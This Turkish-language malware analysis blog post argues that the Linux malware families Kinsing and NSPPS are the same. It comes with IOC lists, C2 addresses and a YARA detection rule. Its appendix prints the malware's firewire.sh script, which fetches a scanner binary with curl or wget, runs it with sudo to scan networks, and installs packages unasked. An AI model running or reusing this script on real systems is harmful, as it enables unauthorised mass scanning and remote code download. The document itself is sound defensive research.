Kinsing: İki Yüzü Olan Kötü Amaçlı Yazılım

Kinsing Nedir?

Son zamanlarda, bulut ve konteyner tehditlerinin gelişen alanını araştırmakla meşgulüz. Neden buraya odaklanalım? Çünkü, bu teknoloji daha popüler hale geldikçe ve gelişmeye devam ettikçe, saldırganlar da bu sistemlere sızmak için tekniklerini geliştiriyorlar.

Araştırmamız sırasında, Redis ve SaltStack dahil olmak üzere birden fazla saldırı kampanyasında yer alan bir ELF kötü amaçlı yazılımı olan Kinsing ile karşılaştık . Kinsing, son birkaç yıldır kötü amaçlı yazılım yazarları arasında popülerliği hızla artan nispeten yeni bir dil olan Go dilinde, diğer adıyla Golang’da yazılmıştır.

Birkaç Kinsing örneğini analiz ederken, NSPPS adlı başka bir kötü amaçlı yazılım ailesiyle ilgili bazı eserler bulduğumuza şaşırdık . İlk başta, bu bulguları açıklayabilecek birkaç fikir bulduk – belki de ortak parçalar her iki aile tarafından da kullanılan açık kaynaklı araçlardır veya belki bir grup diğerini taklit ediyordur. Araştırmamızın gösterdiği şey, iki ailenin aslında aynı aile olduğu ve güvenlik araştırma topluluğu tarafından kendisine verilen iki farklı isim olduğudur.

Bu blog yazımızda Kinsing ile NSPPS arasındaki farklılıkları ve benzerlikleri inceleyecek, bulgularımızı sunacak ve bunların aynı kötü amaçlı yazılım ailesi olduğu sonucuna nasıl ve neden vardığımızı açıklayacağız.

NSPPS ve Kinsing Arasındaki Farklar

Araştırmanın başında, Kinsing ve NSPPS’yi tespit etmek için güvenlik firmaları tarafından yayınlanan tüm IOC’leri topladık, kendi YARA kurallarımızı yazdık ve sonuçları topladık. Biraz temizlikten sonra, odaklandığımız birkaç düzine örneğimiz oldu.

Kinsing ve NSPPS’nin 27 örneğinden yalnızca biri NSPPS olarak yayınlandı – 5059d67cd24eb4b0b4a174a072ceac6a47e14c3302da2c6581f81c39d8a076c6. Diğer 26 örnek Kinsing olarak sınıflandırıldı.

NSPPS örneğini Kinsing örneklerinden ayıran bazı önemli eserler bulduk.

Sürümler ve Tarihler: Sayıları Karşılaştıralım

Öncelikle ve en önemlisi, NSPPS örneği Golang 1.9.7 sürümü kullanılarak yazılmıştır:

Kinsing 1

Kinsing örnekleri Golang 1.13.4 veya 1.13.6 sürümü kullanılarak yazılmıştır:

Kinsing 2

Kinsing 3

Bu fark, her bir örneğin derleme zamanının farklı olduğu anlamına gelebilir; zira en son sürümü kullanmak mantıklı olmakla birlikte gerekli değildir.

Örneklerin derleme zaman damgasını belirlemek, iki aileyi ayırt etme süreci için önemliydi. Ne yazık ki, Windows PE dosyalarının aksine, Linux ELF dosyaları tasarım gereği bir derleme zaman damgasına sahip değildir ve bu da bize eksik bir bilgi parçası daha bırakmaktadır. Neyse ki, Golang kötü amaçlı yazılımı (veya genel olarak konuşursak – Golang ikili dosyaları) varsayılan olarak genellikle bir sürüm numarası içeren Github paketlerini kullanır. Bu, kullandığı en yeni paketin son yayın tarihini hesaplayarak kötü amaçlı yazılım derlemesi için asgari bir tarih belirlemeye yardımcı olur.

Aşağıda Kinsing örnekleri için ortak paketlerin kısmi bir listesi ve yayın tarihleri ​​yer almaktadır:

Package Version Release Date
go-resty/resty 2.1.0 10/10/2019
google/btree 1.0.0 13/08/2018
kelseyhightower/envconfig 1.4.0 24/05/2019
markbates/pkger 0.12.8 21/11/2019
paulbellamy/ratecounter 0.2.0 19/07/2017
peterbourgon/diskv 2.0.1 14/08/2017
shirou/gopsutil 2.19.10 19/10/2019

“ pkger ”ın en son yayın tarihi:

Kinsing 4

Dolayısıyla 26 Kinsing örneğinin tamamının 21 Kasım 2019’dan sonra derlendiği sonucuna varabiliriz.

Aşağıda NSPPS’nin kullandığı paketlerin kısmi bir listesi bulunmaktadır:

Package Version Release Date
google/btree 1.0.0 13/08/2018
go-resty/resty 2.1.0 10/10/2019
kelseyhightower/envconfig 1.4.0 25/05/2019
paulbellamy/ratecounter 0.2.0 19/07/2017
peterbourgon/diskv 3.0.0 25/04/201

Görüldüğü gibi, NSPPS için mümkün olan en erken derleme tarihi 10 Ekim 2019’dur. Bu, Kinsing’den önce derlendiğini düşündürmektedir, ancak durum böyle olmayabilir.

Olmak ya da Olmamak: İşte Fark Bu

Kinsing örneklerinde bulunan ilginç bir eser, aşağıda görüldüğü gibi William Shakespeare’in Hamlet oyununun tam metninin bulunmasıdır:

Kinsing 5

Bu kanıt daha önce birkaç araştırmacı tarafından yayınlanmıştı. Yaygın varsayım, bunun statik algılama motorları tarafından algılanmayı önlemek veya aynı amaca hizmet eden ikili boyutu artırmak için yapıldığıdır . Bu eser NSPPS örneklerinde mevcut değildir.

İlk bakışta önemli bir fark gibi görünüyor – belki Kinsing yazarları kötü amaçlı yazılımlarını gizlemeye NSPPS yazarlarından daha fazla dikkat etmiş olabilir. Ancak biraz daha derine indiğimizde başka bir açıklama bulduk. Hamlet oyununun Kinsing içindeki yerini kontrol ettiğimizde, ikili dosyanın diğer dizeleri arasında veri bölümünde var olmaktan ziyade, buna dair bazı referanslar var:

Kinsing 6

Daha sonra ilgili fonksiyona bakalım:

Kinsing 7

Bu fonksiyonun adı github.com.markbates.pkger.internal.takeon.github.com.markbates.hepa.filters olup anlamı şudur: “ markbates tarafından yazılan ve Github’a yüklenen hepa paketindeki filtreler dosyasında bulunan, fakat aslında markbates tarafından yazılan ve Github’a yüklenen pkger paketine de gömülen bir fonksiyon.”

Ve beklendiği gibi:

Kinsing 8

(Ve tabii ki 0.12.8 sürümünü kontrol etmeyi unutmayın , çünkü bu parça o tarihten sonra yazar tarafından kaldırıldı.)

Hepa paketini analiz ederken, Hamlet’in amacını anladık – bir tamponun gizli kısımlarını gizlemek için kullanılır. Örneğin, bilgeliğinizi dünyayla paylaşmak için yararlı AWS betiğinizi GitHub’a yüklemek istediğinizi varsayalım, ancak daha sonra gizli AWS anahtarlarınızı içeren tüm kısımları kaldırıp kaldırmadığınızdan emin değilsiniz. Bu durumda, parolayla ilgili bilgileri otomatik olarak arayan ve kaldıran bir araç kullanabilirsiniz. Jetonunuzu Hamlet’ten güçlü bir ifadeyle değiştirmenin ne kadar harika olacağını düşünün!

Şimdi, muhtemelen fark ettiğiniz gibi, pkger paketi NSPPS’nin paketlerinden biri olarak listelenmemiş, dolayısıyla Hamlet’in NSPPS’de yer almaması yalnızca kripto madenciliği faaliyetinin bir parçası olarak kullanılan bu paketin yokluğuyla ilgilidir ( bunun hakkında daha sonra daha fazla bilgi vereceğiz).

Sonuç olarak, Hamlet büyük ve anlamlı bir oyun olarak kabul edilse de (veya kabul edilmese de?), karşılaştırmamızda anlamlı bir kanıt değildir. Aksine, diğer daha önemli unsurların bir yan etkisidir.

Para nerede?

Kinsing örnekleriyle ilgili raporları okuduğunuzda, Kinsing’in amacının Aqua Security’den alınan bu diyagramda gösterildiği gibi kdevtmpfsi adlı bir cryptoMiner yüklemek olduğu açıktır :

Kinsing 9

Kinsing örneklerinin koduna baktığımızda, kripto madenciliği aktivitesiyle ilgili birçok fonksiyon buluyoruz:

Kinsing 10

Bu fonksiyonlar kodun gerçek main fonksiyonu olan main.main’den çağrılır .

NSPPS örneğinde, kontroller ve eylemler dahil olmak üzere kripto madenciliği faaliyetiyle ilgili tüm kodlar eksiktir. Bu, iki araç arasındaki önemli bir farktır: kripto madenciliği işlevi, Kinsing kötü amaçlı yazılımının amacının kurban sisteme bir kripto madenci kurmak olduğunu öne sürerken, NSPPS kötü amaçlı yazılımının amacı RAT işlevi sağlamaktır.

NSPPS ve Kinsing – Benzerlikler

Kinsing ve NSPPS arasında onları tamamen farklı kötü amaçlı yazılım aileleri gibi gösteren birkaç fark bulmamıza rağmen, küçük bir ses bize aynı aileden olduklarını kanıtlayacağımıza söz verdiğimizi hatırlatıyor. Aşağıda bu benzerliklerden bazıları yer almaktadır.

Herkes İçin Masscan

Tüm örneklerde kendini tekrarlayan bir özellik, Masscan aracının kullanımıdır – daha spesifik olarak, Masscan’ın aynı şekilde kullanılması. Hem Kinsing hem de NSPPS kötü amaçlı yazılımları, main.masscan işlevi tarafından yürütülen firewire.sh adlı gömülü, açık metinli bir bash betiği içerir . Bu işlev betiği diske yazar, modunu yürütülebilir olarak değiştirir ve ardından çalıştırır.

Ek B’de firewire.sh betiğinin tamamını görün .

Bunu işleyen main.masscan’deki kod şu şekildedir:

Kinsing 11

NSPPS için main.masscan fonksiyonu biraz farklıdır (muhtemelen yukarıda belirtilen derleyici farkından dolayı) ancak Kinsing’de görülen aynı WriteFile -> runcmd -> newobject dizisini içerir:

Kinsing 12

Araştırmamıza göre firewire.sh betiği kamuya açık olarak kullanıma sunulmamış ve Açık Kaynaklı bir araç olarak sunulmamıştır, bu nedenle bu kanıt parçasının sadece bir tesadüf olmadığına inanıyoruz. Bu, iki kötü amaçlı yazılımın yazarları arasında bir bağlantı olduğu veya en azından kaynaklarını paylaştıkları anlamına gelir.

Kod Yapısı

NSPPS’yi analiz ederken, çok basit bir kod yapısına sahip olduğu dikkat çekicidir. Kodun başında, NSPPS üç başlatma işlevini çağırır, ardından sonsuza kadar çalışan bir while döngüsüne girer. Döngü, C2 sunucusundan bir görev ( getTask() ) alır ve onu yürütür ( doTask() ). doTask işlevi içinde, kötü amaçlı yazılım aldığı dizeyi kontrol eder, ardından alınan görevi gerçekleştirmek için doğru işlevi seçer.

Şaşırtıcı bir şekilde, Kinsing’i analiz ettiğimizde, birkaç küçük değişiklik dışında aynı yapıya sahip olduğunu gördük. Ana değişiklik, kripto madenciliğinden sorumlu olan ek bir başlatma işlevidir. Döngünün içindeki iç işlevlerde de bazı küçük değişiklikler vardır.

Bir gösteri için aşağıdaki kod parçacıklarına bakın:

 

 

Kinsing’in farklı örnekleri arasında da farklılıklar vardır. Örneğin, hepsinde “redis_brute” işlevselliği yoktur ve bazılarında çok daha az işlev vardır.

Az önce tanımladığımız ortak yapıya baktığımızda, iki aile arasındaki ilişkinin artık bir tesadüf veya rastgele bir taklit gibi görünmediğini, daha çok yazarlar arasındaki bir işbirliği, hatta aynı kodun tekrar kullanımı gibi göründüğünü düşünüyoruz.

Şifreleme, Şifreleme, Şifreleme

NSPPS örneği için yaptıkları analizde IronNet , NSPPS tarafından kullanılan bir RC4 anahtarını arayan bir YARA kuralı ekledi. Bu YARA’yı kullanarak ve bu belirli RC4 anahtarını arayarak, içindeki tüm Kinsing örneklerini ve NSPPS örneğini bulduk:Kinsing 13

Şekil N. 14: Kinsing RC4 anahtarı

Kinsing 14

Bu anahtarın XRef’lerini kontrol ederek kullanımını bulduğumuzda, her iki kötü amaçlı yazılım ailesinde de neredeyse aynı işlevler aracılığıyla kullanıldığını görebiliriz.

NSPPS için kullanım:

Kinsing 15

Kinsing’in Kullanımı:

Kinsing 16

Tek fark , yalnızca Kinsing örneklerinde bulunan getMinerPid fonksiyonudur , çünkü NSPPS aynı kripto madenciliği işlevselliğine sahip değildir.

Her iki kötü amaçlı yazılımda da RC4 şifrelemesini uygulayan main.RC4 işlevine baktığımızda , iki uygulamanın da pratik olarak aynı olduğunu görüyoruz. Aşağıdaki karşılaştırmaya bakın:

Fonksiyon Adları

Tüm bunlardan sonra göstereceğimiz son şey, bu örneklerin fonksiyon listesidir.

Golang ikili dosyaları, kaynak kod sembollerini koruma özelliğine sahiptir ve bu, orijinal işlev adlarının tüm listesini kullanılabilir hale getirerek bizim durumumuzda işe yarar. İkili dosyalarda kullanılan ve kendi işlevlerini içeren paketleri zaten tartıştık, bu yüzden şimdi kötü amaçlı yazılım yazarı tarafından yazılmış işlevlerle ilgileniyoruz. Bu işlevler main önekiyle tanımlanır ve bunlar bir sonraki karşılaştırmada kullanılanlardır.

NSPPS’nin 63 adet fonksiyonu bulunmaktadır.

Kinsing örnekleri birbirinden biraz farklıdır. Daha önce yayınlanmış rastgele bir Kinsing örneğini karşılaştıralım: b70d14a7c069c2a88a8a55a6a2088aea184f84c0e110678e6a4afa2eb377649f. Bu örnekte yalnızca 59 işlev vardır ( her iki örnek için de işlevlerin tam listesi için Ek C’ye bakın).

Her iki örnekte de ortak 51 işlev adı vardır ve bu da işlevlerin %83’ünü temsil eder. Kinsing’in sekiz benzersiz işlev adı ve NSPPS’in 12 benzersiz işlev adı vardır. Kinsing’in benzersiz işlevleri kripto madenciliğiyle ilgiliyken NSPPS’in benzersiz işlevleri çoğunlukla RAT ile ilgilidir. Bundan, kodun büyük bir bölümünün aynı şekilde adlandırıldığını öğreniyoruz; bu da her iki örneği de aynı yazarın yazdığı veya yazarlardan birinin diğerinden kopyaladığı anlamına geliyor.

Çözüm

Hem NSPPS’yi hem de Kinsing’i sunduk ve aralarındaki farkları tartıştık: Golang sürümleri, paketler, Hamlet oyun betiği ve kripto madenciliği faaliyeti. Ayrıca iki ailenin benzerliklerini de sunduk: Firewire.sh adlı Masscan betiği, paylaşılan kod yapısı, RC4 anahtarı ve işlev adları.

Yukarıdakilerin hepsi her iki kötü amaçlı yazılımın da aynı aileyi temsil ettiğini gösteriyor. İlk sürümün Kasım 2019’dan önce derlendiğine, NSPPS olarak adlandırıldığına ve RAT olarak kullanıldığına inanıyoruz. Daha sonra kötü amaçlı yazılım bazı yeni paketlerle (markbates\pkger gibi), yeni işlevlerle (cryptomining yetenekleri), yeni Shakespeare ilhamıyla güncellendi ve diğer güvenlik şirketleri tarafından Kinsing olarak adlandırıldı.

Zararlı yazılımın kullanım amacı ve kullanımı değişse de araştırmacılar olarak, eski sürümlerden edindiğimiz bilgileri kullanarak analiz ve tespiti çok daha kolay ve hızlı hale getirebildiğimizden, zararlı yazılımlar arasındaki benzerliklerden hâlâ faydalanabiliyoruz.

VirusTotal Üzerinden Tespit Hakkında Bir Not

Kinsing eserlerinden bazılarını imzalarken ve yeni örnekler ararken, Kinsing’in kodunun bir kısmını açıkça içeren ancak yürütülebilir dosyalar olarak hasar görmüş ve düzgün ELF olarak çalıştırılamayan birkaç düzine dosya bulduk. Daha detaylı inceleme, bu dosyaların yalnızca başka bir örneğin bir parçası olduğunu, yani birinin örneği kesip VirusTotal’a yüklediğini anlamamıza yardımcı oldu. Örneğin, d247687e9bdb8c4189ac54d10efd29aee12ca2af78b94a693113f382619a175b örneği, 16,87 MB uzunluğunda bilinen bir Kinsing örneğidir ve 19 Haziran 2020’de VirusTotal’e yüklenen a51a4398dd7f11e34ea4d896cde4e7b0537351f82c580f5ec951a8e7ea017865 dosyası, bazı AV satıcıları tarafından Kinsing olarak tespit edilmiştir, ancak aslında son örneğin yalnızca ilk 4,84 MB’ıdır.

Bu kısmi örnekler, kötü amaçlı yazılımın farklı bölümlerini AV motorlarına karşı test etmeye çalışan bir saldırgan veya kodun bölümlerini inceleyen bir güvenlik araştırmacısı olabilir. Bu nedenle, yalnızca uygun ELF’leri tespit etmek için, yalnızca bölüm başlık boyutlarının toplamının tüm dosyanın boyutuyla eşleştiği dosyaları eşleştirmek için bir koşul eklenmelidir (aşağıdaki YARA kuralına bakın).

Ek A: IOC’ler ve YARA

IOCs:

Indicator Type
0b0aa978c061628ec7cd611edeec3373d4742cbda533b07a2b3eb84a9dd2cb8a Sha256
0c811140be9f59d69da925a4e15eb630352fa8ad4f931730aec9ae80a624d584 Sha256
2132d7bed60fda38adda28efdbbd2df2c9379fed5de2e68fc6801f5621b596b0 Sha256
4b0138c12e3209d8f9250c591fcc825ee6bff5f57f87ed9c661df6d14500e993 Sha256
4f4e69abb2e155a712df9b3d0387f9fb2d6db8f3a2c88d7bbe199251ec08683f Sha256
5059d67cd24eb4b0b4a174a072ceac6a47e14c3302da2c6581f81c39d8a076c6 Sha256
511de8dd7f3cb4c5d88cd5a62150e6826cb2f825fa60607a201a8542524442e2 Sha256
554c233d0e034b8bb3560b010f99f70598f0e419e77b9ce39d5df0dd3bc25728 Sha256
655ee9ddd6956af8c040f3dce6b6c845680a621e463450b22d31c3a0907727e4 Sha256
6814d22be80e1475e47e8103b11a0ec0daa3a9fdd5caa3a0558d13dc16c143d9 Sha256
681f88d79c3ecab8683b39f8107b29258deb2d58fcea7b0c008bab76e18aa607 Sha256
6e8c96f9e9a886fd6c51cce7f6c50d1368ca5b48a398cc1fedc63c1de1576c1e Sha256
7727a0b47b7fd56275fa3c1c4468db7fa201c788d1e56597c87deaff45aad634 Sha256
7f9f8209dc619d686b32d408fed0beb3a802aa600ddceb5c8d2a9555cdb3b5e0 Sha256
8c9b621ba8911350253efc15ab3c761b06f70f503096279f2a173c006a393ee1 Sha256
98d3fd460e56eff5182d5abe2f1cd7f042ea24105d0e25ea5ec78fedc25bac7c Sha256
9fbb49edad10ad9d096b548e801c39c47b74190e8745f680d3e3bcd9b456aafc Sha256
a0363f3caad5feb8fc5c43e589117b8053cbf5bc82fc0034346ea3e3984e37e8 Sha256
a5b010a5dd29d2f68ac9d5463eb8a29195f40f5103e1cc3353be2e9da6859dc6 Sha256
b44dae9d1ce0ebec7a40e9aa49ac01e2c775fa9e354477a45b723c090b5a28f2 Sha256
b70d14a7c069c2a88a8a55a6a2088aea184f84c0e110678e6a4afa2eb377649f Sha256
c44b63b1b53cbd9852c71de84ce8ad75f623935f235484547e9d94a7bdf8aa76 Sha256
c9932ca45e952668238960dbba7f01ce699357bedc594495c0ace512706dd0ac Sha256
ccfda7239b2ac474e42ad324519f805171e7c69d37ad29265c0a8ba54096033d Sha256
d247687e9bdb8c4189ac54d10efd29aee12ca2af78b94a693113f382619a175b Sha256
db3b9622c81528ef2e7dbefb4e8e9c8c046b21ce2b021324739a195c966ae0b7 Sha256
f2e7244e2a7d6b28b1040259855aeac956e56228c41808bccb8e37d87c164570 Sha256
104.248.3.165 C2
139.99.50.255 C2
185.61.7.8 C2
188.120.254.224 C2
193.33.87.220 C2
195.123.220.193 C2
45.10.88.102 C2
46.229.215.164 C2
46.243.253.167 C2
47.65.90.240 C2
62.113.112.127 C2
67.205.161.58 C2
91.215.169.111 C2

YARA:

import “elf”

rule Kinsing_Malware
{
meta:
author = “Aluma Lavi, CyberArk”
date = “22-01-2021”
version = “1.0”
hash = “d247687e9bdb8c4189ac54d10efd29aee12ca2af78b94a693113f382619a175b”
description = “Kinsing/NSPPS malware”
strings:
$rc4_key = { 37 36 34 31 35 33 34 34 36 62 36 31 }
$firewire = “./firewire -iL $INPUT –rate $RATE -p$PORT -oL $OUTPUT”
$packa1 = “google/btree” ascii wide
$packa2 = “kardianos/osext” ascii wide
$packa3 = “kelseyhightower/envconfig” ascii wide
$packa4 = “markbates/pkger” ascii wide
$packa5 = “nu7hatch/gouuid” ascii wide
$packa6 = “paulbellamy/ratecounter” ascii wide
$packa7 = “peterbourgon/diskv” ascii wide
$func1 = “main.RC4” ascii wide
$func2 = “main.runTaskWithScan” ascii wide
$func3 = “main.backconnect” ascii wide
$func4 = “main.downloadAndExecute” ascii wide
$func5 = “main.startCmd” ascii wide
$func6 = “main.execTaskOut” ascii wide
$func7 = “main.minerRunningCheck” ascii wide
condition:
(uint16(0) == 0x457F
and not (elf.sections[0].size + elf.sections[1].size + elf.sections[2].size + elf.sections[3].size + elf.sections[4].size + elf.sections[5].size + elf.sections[6].size + elf.sections[7].size > filesize))
and ($rc4_key
or $firewire
or all of ($packa*)
or 4 of ($func*)
)
}

Appendix B: Firewire.sh Script

#!/bin/sh
PORT=$1
RATE=$2
INPUT=$3
OUTPUT=$4
MASSCAN=$5

cat /etc/os-release | grep -vw grep | grep “rhel” >/dev/null
if [ $? -eq 0 ]
then
rpm -qa | grep libpcap-dev > /dev/null
if [[ $? -eq 0 ]]; then
echo “Package is installed rhel!”
else
echo “Package is NOT installed rhel!”
yum -y update
yum -y install libpcap-devel
fi
else
if [ $(dpkg-query -W -f=’${Status}’ libpcap-dev 2>/dev/null | grep -c “ok installed”) -eq 0 ];
then
echo “Package is NOT installed deb!”
apt-get update
apt-get install -y libpcap-dev
else
echo “Package is installed deb!”
fi
fi

if [ -x “$(command -v md5sum)” ]; then
sum=$(md5sum firewire | awk ‘{ print $1 }’)
echo $sum
case $sum in
45a7ef83238f5244738bb5e7e3dd6299)
echo “firewire OK”
;;
*)
echo “firewire wrong”
(curl -o firewire $MASSCAN || wget -O firewire $MASSCAN)
;;
esac
else
echo “No md5sum”
(curl -o firewire $MASSCAN || wget -O firewire $MASSCAN)
fi

chmod +x firewire

./firewire -iL $INPUT –rate $RATE -p$PORT -oL $OUTPUT 2>/dev/null
if [ $? -eq 0 ]
then
echo “success”
else
echo “fail”
sudo ./firewire -iL $INPUT –rate $RATE -p$PORT -oL $OUTPUT 2>/dev/null
if [ $? -eq 0 ]
then
echo “success2”
else
echo “fail2”
fi
fi

Appendix C: NSPPS & Kinsing Function list

NSPPS Kinsing
DownloadFile DownloadFile
ExecOutput ExecOutput
Hosts Hosts
Pid
RC4 RC4
RandStringRunes RandStringRunes
Result Result
SetSocks SetSocks
Specification Specification
TargetsWrapper TargetsWrapper
Task Task
TaskPair TaskPair
addResult addResult
backconnect
checkHealth checkHealth
connectForSocks connectForSocks
contains contains
copyFileContents
doRequestWithTooManyOpenFiles
doTask doTask
downloadAndExecute
encStruct encStruct
execTask execTask
execTaskOut execTaskOut
getActiveC2CUrl
getMinerPid
getOrCreateListForTaskResult getOrCreateListForTaskResult
getOrCreateRateCounterForTask getOrCreateRateCounterForTask
getOrCreateUuid getOrCreateUuid
getTargets getTargets
getTask getTask
getWriteableDir getWriteableDir
go go
hash_file_md5 hash_file_md5
healthChecker healthChecker
inc inc
init init
isMinerRunning
main main
makeClient
masscan masscan
minRun
minerRunningCheck
move move
randIntRange randIntRange
redisBrute
request
resultSender resultSender
runTask runTask
runTaskWithHttp
runTaskWithScan
runcmd runcmd
sendMinerPid
sendResult sendResult
sendSocks sendSocks
setActiveC2CUrl setActiveC2CUrl
setExecOutput setExecOutput
setLog setLog
setUuid setUuid
socks socks
startCmd startCmd
startCmdWithOutputSingle
startSocks startSocks
syncCmd syncCmd
taskScan taskScan
taskWithHttpWorker
taskWithScanWorker
taskWorker taskWorker
tcpTask
updateTask updateTask
writable writable
Başa dön tuşu